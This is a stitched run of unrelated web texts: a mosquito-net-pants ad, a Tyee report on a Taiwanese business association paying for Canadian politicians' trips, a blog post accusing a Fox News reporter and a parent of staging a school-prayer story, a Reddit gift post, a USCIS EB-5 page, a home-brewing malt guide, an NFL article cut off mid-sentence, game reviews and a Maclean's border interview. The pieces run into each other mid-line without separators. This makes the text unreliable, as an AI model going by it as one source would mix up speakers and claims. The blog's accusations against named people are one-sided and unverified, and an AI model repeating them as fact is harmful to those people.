Luckily the mosquito net pants are here to save those sweet succulent legs from being bitten my the clouds of mosquitoes roaming around outside your house. Just slip the mosquito net pants over your short pants, and you are ready for a mosquito bite free jog or hike. The mosquito net pants are made from 100% polyester, feature an elastic waistband to fit all sorts of fatties, and is flame retardant.Dozens of Canadian MPs and MLAs have accepted free trips from a Taiwanese business association despite reports that several of its directors are facing legal troubles.
Announcements, Events & more from Tyee and select partners ‘Punch to the Gut’ Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey Payette.
National security expert Michel Juneau-Katsuya said the case shows Canadian politicians and governments haven’t grasped the need for vigilance in dealing with foreign lobby organizations.
“A common practice with politicians is not to pay attention to who they are talking to if they seem to be representing a certain group of the population, a certain segment that they are trying to seduce,” said Juneau-Katsuya, a former CSIS officer who is now CEO of the NorthGate Group, which helps companies guard against espionage activities.
“Unfortunately, the Canadian public and the Canadian politicians in general are extremely naive about those things,” he said.
The Chinese International Economic Cooperation Association has paid for more overseas air travel for Canadian MPs than any other organization in recent years.
The association has paid for flights, accommodation and meals for 35 MPs visiting Taiwan since 2013, often paying for spouses to accompany the elected officials.
The organization’s website shows it also paid for a visit by six BC Liberal MLAs in December, including Don McRae, Jane Thornthwaite, Darryl Plecas, Dan Ashton, Marvin Hunt and John Martin.
A delegation of Metro-Vancouver mayors also attended a sponsored trip last May. That group included Vancouver Councillor Raymond Louie, Port Coquitlam Mayor Greg Moore, North Vancouver Mayor Darrell Mussatto and other municipal politicians.
The Taiwanese business association’s board includes at least three members implicated in criminal offences related to their business activities and one convicted member who fled the island, according to news reports.
The Tyee researched the association’s board members in English and Mandarin newspapers from Taiwan.
Those involved include:
Vice-chairman Jeffrey Koo Jr., who is currently awaiting a retrial after an overturned 2013 conviction related to illegal financial transactions that resulted in a nine-year, eight-month sentence. Recently prosecutors raided his offices in connection with another investigation.
Executive board director Preston Chen, who was sentenced to two years and six months imprisonment in 2015 for fraud and other financial crimes related to electronics company HannsTouch Solution. Chen went missing before he began serving his sentence and it’s believed he fled to Mainland China. Taiwan’s authorities have issued an arrest warrant.
Board director Chang Pen-tsao, who was sentenced to seven years and six months in prison in 2014 for breach of trust charges related to his activities as chairman of another Taiwan-based international trade group. In 2015, his verdict was overturned by a higher court and he awaits a retrial.
Board director Lin Wei-shan, who is awaiting a retrial after successfully appealing a guilty verdict in a case that originally saw him handed an eight-year prison sentence for violations of the Securities Exchange Act and breach of trust.
Media reports said other members of the board are linked to disgraced former Taiwanese president Chen Shui-bian. He was released from prison for medical reasons in January 2015 after serving six years of a 20-year prison sentence for corruption convictions.
In total, the CIECA board has 56 members and advisors.
Promoting ties between Taiwan and world
Association spokesperson Joann Lee said it was established in 2000 to help foster relations between Taiwan and countries around the world and has close ties to many Taiwanese chambers of commerce in Canada.
“It is always CIECA’s main function to promote mutual understanding and facilitate bilateral exchanges with friendly countries by sponsoring visits to Taiwan of their political and economic leaders, decision-making individuals in government and legislature and prominent scholars and experts,” Lee said in an email.
The Tyee followed up with a question about the criminal charges facing CIECA directors.
Almost four weeks later, the organization responded and said it has no role in members’ conduct outside their capacity as a board member.
“We have no comments on the details or the precise nature of their activities outside CIECA functions,” she said. “If any of our board members is convicted of criminal wrongdoing, we will review his/her status according to our bylaws.”
The association did not respond to an email asking why Chen is still listed as a board member after reportedly leaving Taiwan on a fishing boat to avoid serving his sentence.
Despite CIECA’s political activities, it has a low profile in Canada. Asia experts and academics contacted by The Tyee said they weren’t aware of the organization.
Juneau-Katsuya said MPs, MLAs and municipal elected officials should not be accepting junkets from such organizations without a thorough vetting program.
The Canadian public and politicians are “extremely naive” about such groups and the influence overseas organizations are trying to gain, he said. It’s critical to understand those behind the trips and their objectives, he added.
MPs are required to disclose trips paid for by third parties.
But Juneau-Katsuya said without stringent rules – and more information about potential foreign funders – politicians are only accountable to government watchdogs and the media.
He said media and the public need to pressure politicians into greater accountability.
Canada Needs to Close Knowledge Gap on China Relations, Say Experts read more
The Tyee reached out to members of Parliament from all parties who have gone on CIECA-sponsored trips, but almost all refused to talk about their travel.
Former NDP MP Hoang Mai offered limited details about his 2014 trip via email. He said it was organized in conjunction with the government of Taiwan.
“In Taiwan, we’ve met with various people including members of the government and state officials,” he wrote. “It was an interesting experience, we discussed many topics including trade, economics, politics, culture, etc.”
BC Liberal MLA Dan Ashton said his trip was also facilitated with the government of Taiwan and cleared through the provincial conflict of interest commissioner.
Ashton, who represents Penticton, said he saw nothing on the trip that concerned him and that it simply seemed like a good chance to help promote B.C.’s wine and educational institutions.
Canada’s long-standing “One China” policy means it does not have official diplomatic relations with Taiwan, but there are strong trade ties and the country has offices in Vancouver, Ottawa and Toronto.
In a 2011 article in the Ottawa-publication Embassy, David Lee, the head of the Taiwanese mission in Ottawa, said it was focused on “building connections or a relationship” with MPs.
The Tyee contacted the federal Liberals, Green Party, Conservatives and New Democrats for comment about the Chinese International Economic Cooperation Association.
Only the NDP responded with an official comment, calling on the federal government to look into the organization.
“These are serious allegations and they raise serious concerns about this organization,” wrote George Smith, deputy director of communications for the NDP leader’s office. “The government should investigate this matter thoroughly and properly advise members of Parliament regarding any future offer of travel.”
Why aren’t MPs paying own way?
Global Affairs Canada, which oversees trade and foreign affairs, said it isn’t the government’s responsibility to check the backgrounds of foreign organizations sponsoring MPs’ travel.
Duff Conacher, co-founder of the Ottawa-based organization Democracy Watch, said that given the number of trips being sponsored it’s possible the organization should be a registered lobbyist.
“The big question is why are MPs not paying for these trips themselves?” he asked.
Conacher said he has sent a note of concern about the group to the lobbying commissioner.
Similar concerns have been raised about Canada’s ability to vet potential foreign business partners.
Last year, a Tyee story reported that a number of people doing business with the B.C. government faced legal problems over their business practices.Todd Starnes of Fox New broke the story. A kindergartener in an Oviedo elementary school was ordered not to pray when she bowed her head at lunch.
“A teacher saw her and told her, ‘you’re not allowed to do that,’” he said. Perez said his little girl replied, “But it’s good to pray.” The teacher alleged replied, “It’s not good.”
WOW! It appears there is an assault on Christianity in America afterall! Someone should really write a book about it... along with other stories of Christianity's frontline assault!
It's pretty damning. But just a few things that you might want to know about this Todd Starnes breaking story...
1. The school has no policy against private prayer. No school does. It would be illegal. Also, there never has been an issue with private prayer at this school or any other.
2. The school investigated. No one said they talked to the girl about praying and there were no witnesses. The girl, when she speaks, is a beautiful child and 5-year-olds can't lie.. but they can be coached. All I'll say is listen to the child's youtube.
3. The "reporter" who broke the story, Todd Starnes, has fabricated stories suggesting Obama might be gay and the Bible might be outlawed as "hate speech".
Oh, and did I mention he is also promoting a book entitled "Godless America: Real Stories from the Front Line of Attack on Traditional Values"?
4. The father of the girl? Marcos Perez. That might be somewhat relevant in that he is in charge of sales at the Christian book company, Charisma House, that publishes "Godless America". In other words, HE IS DIRECTLY RESPONSIBLE FOR PROMOTING TODD STARNES' BOOK ON CHRISTIAN ASSAULT.
You know, the same guy who broke the story?
The initial report from Todd Starnes did not include the disclaimer (that has since been added) that the guy whose daughter this allegedly happened to has a direct interest in Todd Starnes. And why should it? Our local media ran with it without checking... along with other outlets now that this story has gone national. (Seriously, google it and you'll get a lot of stories.)
Quick note: If you have to resort to manipulating your child to do your job, get a new line of work. I feel for the poor kid.
I find it incredible that this incident, which has never happened to anyone else before, happened to the kid of the guy promoting Todd's book on Christian assault. But let's assume for a moment that through an extraordinary coincidence that is exactly what happened. The girl was told "its not good" to pray by some mystery rogue teacher, or cafeteria worker, or whomever. Here's the thing: That person DOES NOT represent the school! As a parent, I would tell the principle and expect the person to be schooled and even disciplined, and that would be that.
My first thought wouldn't be--LET'S MAKE A YOUTUBE VIDEO FEATURING MY KID. But that is what happened. (Notice the youtube description talks about an "assault" on "traditional values". Sound like a book you heard about? He also conveniently gives an link for "media inquiries">)
All of these dubious facts didn't stop the Liberty Institute from taking legal action against the school, nor the right-wing rage machine to kick in high gear.
Nor the sheeple followers to no doubt rush out to buy Todd's book.After a long and rather stressful day of losing my phone, getting hardly any sleep and having to walk to work in the bitter cold, I decided to check the mail in hopes that I'd find a gift from my secret santa.
And that I did! I pulled out my box and was filled with excitement, it was too late to bring the box back home and still make it in time for work so I decided to take it with me and open it there instead.
She got me an Aurora Borealis lights projector, two giant reese cups as well as some pristine prismacolor pencils (my favourite!!). There was a poem as well, even that was perfectly constructed.
"Twas a fortnight before christmas and all through the net Secret Santa awaited- whose username would they get?
On matching day, much excitement! Oh, who could it be? One wee elf checked for her match- /u/kzenabi!!!
With a swipe and a click, her details were shared with /u/LMorr and a gift was prepared!
"hmm, what would she like? what does she need?" Secret Santa returned to her profile to read.
"Drawing and Tacos and Chocolate- Wait! What's this?! A bucket list item- Aurora Borealis!".
Wouldn't you know it- /u/kzenabi's santa hailed from Alberta where Northern Lights abound but, how to share the experience? Oh, a solution was found!
After looking far, near, wide and beyond, a parcel arrived from across the pond.
Which now sits in your lap, /u/kzenabi! Here's wishing you the merriest Christmas From me!!"
The day was busy as I work in retail and it is christmas season, but this wonderful and thoughtful gift made my day, it made a stressful day way more bearable and I couldn't appreciate the effort my santa put in more.
Seriously, this suits me so well <3 It is a merry christmas indeed! (and my cat Momo seriously enjoyed the box as well, he fits and he sits).
Here's to a merry redditmas and a happy new year!U.S. immigration law allows certain foreign nationals who are employment-based immigrants to become lawful permanent residents (get a Green Card). One employment-based (EB) “preference immigrant” category includes foreign nationals who have invested or are actively in the process of investing $1 million (or $500,000 in targeted employment areas) in a new commercial enterprise that will benefit the U.S. economy and create at least 10 full-time positions for qualifying employees. These foreign nationals are also called “EB-5 immigrant investors” because they are in the employment-based fifth preference visa category. See the EB-5 Immigrant Investor Program for more information about this visa category.
This page has information specifically for foreign nationals in the United States who want to apply for lawful permanent resident status as EB-5 immigrant investors while in the United States. This is called “adjustment of status.” You should also read the Instructions for Form I-485, Application to Register Permanent Residence or Adjust Status (PDF, 545 KB) before you apply.
If you are currently outside the United States, see Consular Processing for information on how to apply for a Green Card as an EB-5 immigrant investor.
Eligibility for Adjustment of Status
Bars to Adjustment
Grounds of Inadmissibility
To qualify for a Green Card, you must be admissible to the United States. Reasons why you may be inadmissible are listed in INA 212(a) and are called grounds of inadmissibility. In general, USCIS can only approve your Green Card application if none of the grounds of inadmissibility apply to you. If you are inadmissible, the law may allow you to apply for a waiver of inadmissibility or other form of relief. See Form I-601, Application for Waiver of Grounds of Inadmissibility and Form I-212, Application for Permission to Reapply for Admission into the United States After Deportation or Removal. If a waiver or other form of relief is granted, USCIS may approve your application for a Green Card if you are otherwise eligible. Whether a waiver or other form of relief is available depends on the specific inadmissibility ground(s) that applies to you and the category under which you are adjusting. Eligibility requirements for waivers and other forms of relief vary. For information on the grounds of inadmissibility and waivers, please see USCIS Policy Manual Volume 8, Admissibility, and Volume 9, Waivers.
How to Apply
What to Submit (Principal Applicant)
Family Members
Employment Authorization and Advance Parole Documents
Generally, when you have a pending Form I-485, you may apply for employment authorization by filing a Form I-765, Application for Employment Authorization. You may also apply for an advance parole document by filing a Form I-131, Application for Travel Document. An advance parole document authorizes you to appear at a port-of entry to seek parole into the United States after temporary travel abroad. If you need to leave the United State temporarily while your Form I-485 is pending, please see the Instructions for Application for Travel Document for more information. Generally, if you have a pending Form I-485 and you leave the United States without an advance parole document, you will have abandoned your application. For further information, see our Employment Authorization and Travel Documents pages.
Legal ReferenceTwo weeks ago I made the case for all-grain brewing and introduced the basics of building a mash tun. You may not have realized yet, but now that you have a mash tun (or will soon), you have suddenly become much more interested in malted barley. Today I want to show you how to get the best quality from your base malt.
The quality of the base malt in your beer depends on many factors, three of which you can control: purchasing quality barley (at reasonable cost), storing it in a way that keeps it in mint condition, and following that up with a good crush.
Purchasing Quality Barley
Choices abound when it comes to base malts. 2-row and 6-row. Domestic, Canadian, English, and continental (German or Belgian). Ale and pilsen. Very pale and lightly kilned. Which malt you choose depends mainly on what kind of beer you want to make and what malts are available at reasonable cost.
Great beers can be made with 2-row or 6-row malted barley. The majority of homebrewers today use 2-row because, in general, the flavor is more refined. 6-row can sometimes taste excessively grainy.
On the other hand, 6-row is typically cheaper and it has a higher diastatic power, meaning that it contains more enzymes to convert starches to sugars during the mash. This is useful if you use a lot of starchy adjuncts, like corn or oatmeal, in your beer. Otherwise, the diastatic power of 2-row is plenty adequate to convert starches to sugars. Briess, a major maltster, has a nice discussion of 2-row and 6-row barley on their website. My advice is that unless you have a ton of starchy adjuncts in your beer, you should use 2-row for better flavor.
As for the country of origin, generally you should match country for country and style for style. Use German pilsen malt for German lagers, American ale malt for American ales, etc. Keep in mind that there is probably greater variation in character from one season to the next in the same malt than there is between, for example, German and Belgian pilsen malts from the same season. Great American ales can be made with European malts and vice versa. My advice to match style and country of origin if you can, but don't sweat it if you can't. (In truth, the yeast you choose and fermentation conditions will have much more impact on the final malt character of your beer.)
Consider layering base malts in some beers. A little pilsen malt (one pound per five gallons) contributes a smoother mouthfeel to an American ale made with ale malt. Lightly kilned malts like Munich, Vienna, and Biscuit can bring a wonderful breadiness. But keep in mind that these malts have a slightly lower diastatic power.
Finally, make sure the malt you buy is fresh and has been stored responsibly. Try to buy from a shop with high stock turnover, and buy 55-pound bags of your favorite base malt—it will have been handled less and costs dramatically less per pound.
Storage
Storage is straightforward and common sense. Keep your malt sealed in bags or plastic bins away from the threats of moths, oxygen, moisture, and mold. Store in a cool, dry, and dark place.
Crush
The goal of the crush is to break apart the endosperm of the barley, which contains the starch, without destroying the husks. Breaking up the endosperm makes it possible for the diastatic enzymes to access the starches and convert them into dissolved sugars in the mash. You want to the husks to remain intact, however, to assist with filtering the hot liquor during the lauter (draining the hot liquor out of the mash tun and into the kettle). Crush size is a balance between these aims.
Most homebrew shops have a grain mill that you can use (be sure to ask for directions the first time). It will likely be already set to a good crush size, but you can test it. If you don't have your own mill, buy and crush only enough barley for your next batch and try to use it quickly because crushed grain will go bad from oxygen exposure (on the timescale of weeks, not hours or days).
If, on the other hand, you have just built a mash tun and are excited to go all in for all-grain, buying you own mill will save you money in the rather long end (because you can buy grain by the 55-pound bag and store it at home to crush on demand) and provide convenience and flexibility. You want a mill that is sturdy, easy to mount (mine sits on top of a 5-gallon brewing bucket with its built-in baseboard), and adjustable.
One of the most popular home mills is the Barley Crusher. It is relatively inexpensive and very well-built. It comes with a hand crank, but you can use a power drill instead. (A cordless drill will probably not have adequate power.) Make sure you follow all of the safety guidelines—never put your hands in the hopper while you are milling.
Do you brew all-grain? Do you mill at home?
This post may contain links to Amazon or other partners; your purchases via these links can benefit Serious Eats. Read more about our affiliate linking policy.ATLANTA — Jameis Winston had been telling Austin Seferian-Jenkins to stay ready throughout the Buccaneers’ season opener against the Falcons. It was easier said than done. By the first series of the third quarter, Winston had yet to look Seferian-Jenkins’s way.
Two minutes into the second half, the second-year quarterback relayed the play in the huddle and told Seferian-Jenkins that it was time for a play nearly a year in the making.
“Catch this ball,” Winston said, staring at his tight end as they broke the huddle on first-and-10 from the Atlanta 30.
Winston thought he’d get a Falcons linebacker matched up on Seferian-Jenkins. He was right, and he took the snap out of shotgun and lofted it for the tight end.
In a win over the Falcons last December, this same pass fell incomplete when Seferian-Jenkins tried to cut under the linebacker, but he, Winston and the coaching staff had worked all week on opening up his gait and running past the linebacker. He beat Sean Witherspoon in a footrace and then laid out for a touchdown catch that probably wouldn’t have happened last season.
It was one of two second-half touchdowns Winston threw in Sunday’s 31–24 victory over the Falcons, the culmination of an off-season of work on the deep ball. The timing had been worked out in practice after practice, from OTAs to minicamp and training camp.
But it wasn’t just the pat-and-gos and warmup drills in that Florida heat that deserve credit for Winston’s 281-yard, four-touchdown day through the air. The loyalty last year’s No. 1 pick has inspired among his teammates in Year Two deserves equal credit for Tampa Bay’s progress in the passing game.
The Bucs have seen the work he’s put in to shed 15 pounds from his rookie year playing weight and improve his footwork. They respect his humble approach to the game.
“When it comes to it and I have to make a play for No. 3, I want to make that play every single time because he trusts me to make that play,” Seferian-Jenkins said. “He said ‘Stay ready,’ and I stay ready.”
When Winston sat down with quarterbacks coach Mike Bajakian at the end of last season, the two put deep passes near the top of the list of desired improvements.
Winston was nothing short of dreadful on deep balls in his rookie year, and the Bucs finished last in the NFC South at 6–10. ESPN noted that Winston connected on just six of his 25 passes that traveled at least 30 yards in the air last season.
First-year offensive coordinator Todd Monken, whom the Buccaneers hired after promoting Dirk Koetter to head coach, made a point of getting his pass catchers more familiar with Winston’s deep balls this off-season. They worked on fades one day, seam routes the next. They practiced plays down the field and to the boundaries.
The coaches worked to get more consistency in the receiving techniques taught to each position group. They were not only teaching what the deep balls should look like coming out of Winston’s hand, but also coaching the receivers, tight ends and running backs to adjust to those passes in a uniform way.
Winston also dropped 15 pounds in the off-season so that he could play better and limit the jokes about his physique that the Internet had pounced on. His redistributed weight can be seen in person—his collar looked loose after the game, his dress pants baggy—and on the field.
“He’s improved his lower body strength, which has helped develop a consistency in his footwork and drop technique and his ability to maintain an athletic position throughout the drop, throwing motion and release,” Bajakian says. “And it’s helped him move better in the pocket; those subtle movements, whether it’s stepping up or sliding.”
In the season opener, Winston didn’t get much of a chance to show off his progress early on. The first half was a series of short passes and check downs, save for one deep incompletion to Adam Humphries. That was by Koetter's design: Atlanta’s zone defense lent itself to checking down and letting Tampa Bay’s pass catchers do the work.
“We have so many good weapons,” Winston said after the game. “I would be a fool not to use them. That’s all.”
By the end of the game, Winston had checked down nine times for 77 yards and two touchdowns. One of those scores included a 23-yard catch-and-run by Charles Sims, in which the running back broke four tackles on his way to the end zone.
Winston trusted what his coaches told him. And told him. And told him.
“This man came to us last year and took our offense to be the fifth[-ranked] offense in the whole damn NFL,” said Winston upon presenting Koetter with the game ball. “He’s always getting on my ass about checking the ball down. Well, I think he’s happy.”
The checkdowns helped opened up the deep ball, of course. On the next series after Seferian-Jenkins’s touchdown, Winston again went deep, this time to Mike Evans, who had worked most closely with Winston on his deep balls in the preseason. Out of the shotgun, Winston sidestepped pressure and hit Evans behind two Falcons defenders for a 45-yard touchdown pass.
One day during training camp, undrafted rookie offensive lineman Leonard Wester was hanging outside the team facilities, waiting for an Uber back to the hotel. Wester didn’t have his car in town, and it was unclear if he’d need it, since a spot on the 53-man roster was far from guaranteed.
Winston rolled up.
“Do you want to pay for a ride, or do you want a free ride?” Winston asked through his window.
“A free ride sounds nice,” Wester replied.
One teammate giving another a ride isn’t a new thing in the NFL, even if the two players are on opposite ends of the totem pole. But it made an impression on Wester, who survived final cuts to make the team’s Week 1 roster.
“He’s always coaching, always inspiring people. He’s always telling people to believe in themselves. He always has everyone’s back,” Wester said. “He’s always keeping everyone upbeat and believing in their abilities. He just has faith in everybody. He’s second to none.”
The team’s loyalty to Winston grew during camp and in practices leading up to the opener. He told receivers when they were dragging that he needed them to run full-speed so they could work on timing. He got on scout-team defenders when they were going through the motions because he needed better looks.
Winston’s teammates have responded to that, along with his own self-criticism. Winston forgot to send a man in motion against the Falcons and came to the sideline offering no excuse to his coaches other than he simply forgot and it wouldn’t happen again.
Winston will have a smaller margin for error this week against the Cardinals. The Falcons ran a zone defense and got next to no pressure on Winston (zero sacks), but Arizona is |
now understand the game. The artwork is stylized, and the story is of a European-style fairy-tale sort. The music in the background is lovely, and the levels are visually pleasing. The problem is that the game does not explain itself very well. The object is to fill the heavy circles at the bottom of each level with the same color spheres. When you click on a sphere, it disappears, along with others of the same color which are adjacent in row or column. You must remove spheres until you have the same color in each marked circle. A small box at the lower left shows you how many sets of each color are remaining to finish the level, and a number at the bottom center tells you how many moves you have left to accomplish this. The levels become more challenging as they progress. The game is original and enjoyable, and puzzle lovers should give it a try. Once you understand the concept, it is a real treat.
Rated 4 out of 5 by barbiecats2000 from Nice change of pace I would have given this game 5 stars had the directions been better. All-in-all this game is interesting and intelligent. The graphics are gorgeous, soft and calm. This is not a match 3. It's a puzzle game. I would like to see more games like this.
Rated 4 out of 5 by Devenant from Interesting and original! I like it! It's a good an quite original puzzler, with nice visuals and sound. Lot's of details, and good variety to the levels. Recommended!
Rated 4 out of 5 by TeachumWell from Not a Sky for Everyone This is a very visually attractive game in a water color pastel way. The music is a relaxing piano piece wihch doesn't interfere with the puzzles. And they are puzzles, not a match 3. Each row must be filled with only one color. To do this, colors must be moved or eliminated by clicking on them. Sounds easy, and, in theory it is. But the levels get more crowded and as you have a limited number of moves, more intense. The fnatasy-like story is lenthly and narrated. However, two lage factors lowered my ratings for the game. The sky, whose perfection you're trying to restore is a muted yellowish-white at best fading to a muddy grey brown. The landscape is similar. I realize this is a fantasy world but restoration doesn't seem to beautify it at all. The other major flaw is the lack of clear directions and a needed tutorial (optional?). The game may appeal to seasoned puzzlers. There is a "time attack" mode but with limited moves in the "relaxed" mode, the tension can be as high. Give it a try puzzle fan, but if you're an m3 fan, this may not be for you.
Rated 4 out of 5 by gimmegames from Something different! I played the demo hour and purchased it with a punch card code. No timer that I saw - many of you will like that. It took me awhile to realize that the game wanted me to fill all the rainbow edged spaces with the same color. It also took me awhile to realize that I had skipped the entire story at the beginning - it you click once on the gold screen, you go to the game board part. As you can tell, the instructions aren't as clear as they could be. The story at the beginning is rather long and tedious, with some misspellings. The narrator reads slowly. However, I look forward to exploring this new game type!
Rated 3 out of 5 by Xaos_Killian from Brainiac needed please!... Explanation needed please! Ok... to start off, this wasn't so bad. True I had to restart the first level a couple of times because the instructions weren't crystal clear (or maybe I'm more tired than I thought, hhhmmm) but once I got the gist, I made it through to the first bonus level. The story is simple, a monster steals the color from the sky into a pouch and then falls asleep. A little girl comes upon him, steals the pouch, and returns the colors to the sky which destroys the monster. She notices the colors are off so she vows to return the proper color scheme to the sky... and this is where the game starts. As noted before, you have to get all the same color baubles into a highlighted row a certain number of times in a fixed amount of moves in order to complete the screen. That's it. Now choosing a bauble will pop that one and ANY same colored ones directly close-by (vertically and horizontally - didn't get to diagonally) so this is where the strategy comes in to try and fill one color in the highlighted row. It requires a little thinking and planning to get the objectives within the given number of moves. One good thing is that it isn't timed (tho there is a timed-attack mode to try and survive) so you can take the time to strategize your moves. For the bonus screens, you were to find 10 circles (well, at least for the first one...) in the sky. Onto the technical, the graphics were quite good, however once I cleared a screen it didn't really look any different from before... yes, the sky sparkled multii-colors to signify success but that seemed to be it. The music was sedated, a piano playing that's it, a little relaxing but not overpowering and stuff like that. All in all, not a bad game... might not be for me, (only am halfway thru the trial), but I'll say -> give it a try, I'll almost bet half of those who do try, will like and get it, up to you. Always up to you,... read what others have to say about a game, try the trial/demo, and then decide if you want to buy or not... hope this helps you.
Rated 3 out of 5 by tailswhiskers from A boring match 3 game When I played this game I though it was going to be fun. All you do is match 3 bubbles. The music is piano music. It was not much fun. I could not finish playing the game. I would not recommend the game.Writer and educator Stephanie Elizondo Griest felt a powerful sense of déjà vu when she moved to northeastern New York, near Ontario and Quebec, from where she grew up, near the Texas/Mexico border. “At times it felt like my brain was on fire, seeing parallel existences—I’d thought that my life as a Tejana was unique,” says Griest, who’s of mixed white and Mexican heritage. In New York, while working as a visiting professor at St. Lawrence University* from 2012-13, she realized, “No, this seems to be what it means to be a member of a border culture—at least a border with the United States.”
Her new book, All the Agents and Saints, documents her time spent in both borderlands, living with and interviewing people dealing with similar devastating issues: human trafficking, drug smuggling, decades’ worth of pollution caused by multinational corporations, and administrative nightmares resulting from xenophobic policies implemented in the wake of 9/11. She found that whether in Corpus Christi, Tex., or in the Mohawk nation of Akwesasne, which straddles the U.S. and Canada, residents were reacting with a mixture of resilience and despair.
From her home in North Carolina, where she now teaches creative writing at the University of North Carolina at Chapel Hill, Griest spoke with Maclean’s about isolation and empathy, violence and hope along the borderlands.
Q: Although Donald Trump has made American borders and security an especially pressing issue, your book was researched mostly during the Obama era, and it shows us a distressing continuity of hypocrisy and neglect.
A: It’s both a wonderful and terrible time to have this book come out. I feel my book is also about being biracial, being bicultural, so I have two differing ways of looking at Trump. One is, “This is very much a continuation of Obama deporting 400,000 people a year, of the EPA not doing nearly enough to fix damage to communities.” Many Mohawks do not vote in federal elections because they believe that the American government is inherently hostile to them, and a lot of Tejanos don’t vote as well, which is why Texas is the way it is, which is a tragedy. But on my other side, I’d never experienced such a bodily shock in my life as I did when Trump won.
Q: In the book, a white Texan in a downtrodden rural area tells you his son failed out of college because he didn’t “think like a liberal,” and that, “If you want to know the real world, you’d best listen to talk radio.” It sounds as if he’s articulating a closing of the American mind—the erection of psychological borders to supplement the physical ones. Is this a widespread problem?
Q: Absolutely. Not long before I moved to China [in the late 1990s, to work for a state-run newspaper], a series of documentaries came out about the Great Wall, and the filmmakers concluded that it didn’t succeed in keeping anyone out: the Mongols just bribed the sentries to be allowed over to continue wreaking havoc. It did, however, succeed in walling people in, and I feel that that is happening with American isolationism.
Q: The Tejana artist Celeste De Luna, whose husband was an ICE [Immigration and Customs Enforcement] agent, told you, “The Border Patrol would catch people, but they always came back, pre-9/11. It was like a game. But after 9/11, people got psychotic. They became racist in a way I hadn’t experienced before.” Did this attack on American soil—which had seemed inviolate for so many years—bring about a defensive reflex to erect physical barriers and more psychological ones?
A: Yeah, we see this happening throughout history… It’s crazy that we think the technology that was created [thousands of] years ago can answer modern problems in the 21st century. And what’s even funnier is that drug cartels are combatting this [existing Texas/Mexican border] wall—one of the oldest geopolitical tools—with catapults. People are flinging barrels of cocaine and bundles of marijuana over the wall, or building a tunnel beneath the wall. I talked to so many border patrol agents who say that our wall is a speed bump. It maybe takes two minutes out of a person’s schedule if they’re making their way through [illegally]. Meanwhile, it costs what—$7 billion? That’s the estimated amount that the U.S. has spent since the Secure Fence Act of 2006.
Q: Along the northern border, you spoke with some Mohawk drug smugglers on the U.S. side (or “south of the river”). On the one hand, they’re refusing to acknowledge an externally imposed border on their land, so they don’t feel they’re meaningfully smuggling, but on the other, this practice can have painful ramifications. What impact did you see it having along the borderlands?
A: I don’t know if it’s reasonable to expect a people to respect a line that does so much damage to their families and their communities and their culture, so I can certainly understand a Mohawk completely losing all respect for a border line. I personally don’t even view it as smuggling; I view it as trading, especially with cigarettes. This community has 19-per-cent poverty. Drugs are far more complicated. Two Mohawk drug runners that I met use quite a lot of drugs themselves, and that has had really difficult impacts on their lives. However, one family that I encountered actually don’t use drugs themselves, and it’s been a family business for several generations. The problem is, of course, if they’re caught, they then are not able to take employment in many opportunities that Akwesasne does offer. If you’re arrested for drugs, you can’t work at a casino, and that’s one of the very few enterprises available.
This is a community where so many other possibilities of enterprise have been taken away. Their rivers and streams are poisoned by PCBs from the multinational corporations that encroached upon their land. That decimated the fishing industry. The trapping industry was destroyed by the building of the St. Lawrence Seaway; there’s so much pollution there that a lot of cattle have died. These are people who traditionally lived off the land, and it’s not really possible anymore in Akwesasne, so then what do you have left?
Q: You write about the Akwesasne border debacle that started in 2009, when, after protests to Canada’s plan to arm our border guards in the Mohawk nation, we moved our checkpoint to the Ontario mainland, creating a tortuous process of border-crossing for the Mohawks. Did the Mohawks on the U.S. side whom you interviewed feel they were being treated differently by Canadian border agents as opposed to Americans?
A: Yes, I was shocked; my vision of Canada was of a more welcoming, respectful nation, and certainly that can be the case. The Mohawks I asked, “Who would you rather have a run-in with a U.S. border patrol agent or a Canadian?” were all like, “U.S. for sure.” There was a lot of resentment building up. If you failed to [cross a second bridge to the checkpoint before stopping off at Cornwall Island], you could be charged $1000 for each offence, and for the fourth offence, they would confiscate your car. Last time I checked, a couple of years ago, there were more than 230 cars being held by the Canadian government.
If you travel along the rest of the border, when you get to Thousand Islands, you check in by videophone. You step off your boat and pick up a little plastic receiver and say, “Hi, I’m here. My boat number is … My passport number is …” And then you’re in. It’s so easy for wealthy people with boats to do this a little further down the river, whereas the Mohawks are punished. Seventy per cent of the traffic on this [Cornwall] bridge are Mohawks. It’s despicable.
Q: You found environmental devastation along both borders being ineffectively dealt with by the Environmental Protection Agency—and this was under the Obama administration, when theoretically the EPA was having a positive impact. Is this problem worse in borderlands, where the buck can be passed between jurisdictions?
A: Yes, that’s certainly part of it, and I think it’s also because, who lives in borderlands? In the case of Corpus Christi, there was a point in 1942 where the city council zoned black people to live by the area where refineries were building and moving into. A lot of the city’s Tejano population was also zoned—there were ordinances zoning them to live atop oil-waste dumps. [Now] you have activists taking up the slack that should be taken up by government administrators. You can beseech activists or artists, faith-keepers or the spirit world, because no one else is coming to help.
Q: You visited a woman near Corpus Christi who owns a tree that people believe performs miracles, and you attend the canonization of the Mohawk saint, Kateri, in Kahnawake, Que. Could you tell me a little bit about the ways you found people were turning to religion or the spirit world for help?
A: Well, they’re not getting help any other way. That’s why this [now] 83-year-old woman grew a tree that she believed could help her. She can’t drink from her poisoned water well. This woman certainly doesn’t have enough money to be driving to a town half an hour away to buy bottled water. So what was she left with? I shouldn’t say that was a last resort—for people who believe in it, that’s a very rich, resourceful way that conjures miracles and brings about incredible acts of destiny, but that is for some people the only path they have towards any sort of justice or recompense. Very often, in South Texas, I saw so many people calling upon the Virgen de Guadalupe to intercede where no one else would. Mohawks also have a history of Catholicism, although that was forced upon them. Five hundred years later, there are some very deeply devout Catholics among the Mohawks, and also, people are turning back to the more traditional belief system with the Longhouse. They believe that to be far more helpful to them than calling upon any government engine to help out.
Q: You spoke with a representative of the controversial militia group the Texas Border Volunteers, who carry hunting gear and night-vision goggles. They see themselves as providing a helpful service, and they have actually aided people with medical issues trying to cross borders.
A: [Texas Border Volunteers spokesman] Mike Vickers essentially saved a pregnant Guatemalan woman’s life—put a cold IV in her, and rejuvenated her. Lavoyger Durham, a cowboy, took me out to see all of the objects people leave behind [when they cross the border illegally]. It costs money to repair a fence that you have to have so that your cattle don’t get away. But he also began taking compassion—there were so many deaths on his land that he allowed activist groups to come in and bring blue water tanks for undocumented workers.
Q: At one point, you went on an expedition with a police investigator from Brooks County to find the body of a woman who died in a forest while crossing over into Texas. What’s especially disturbing is that no one could identify her.
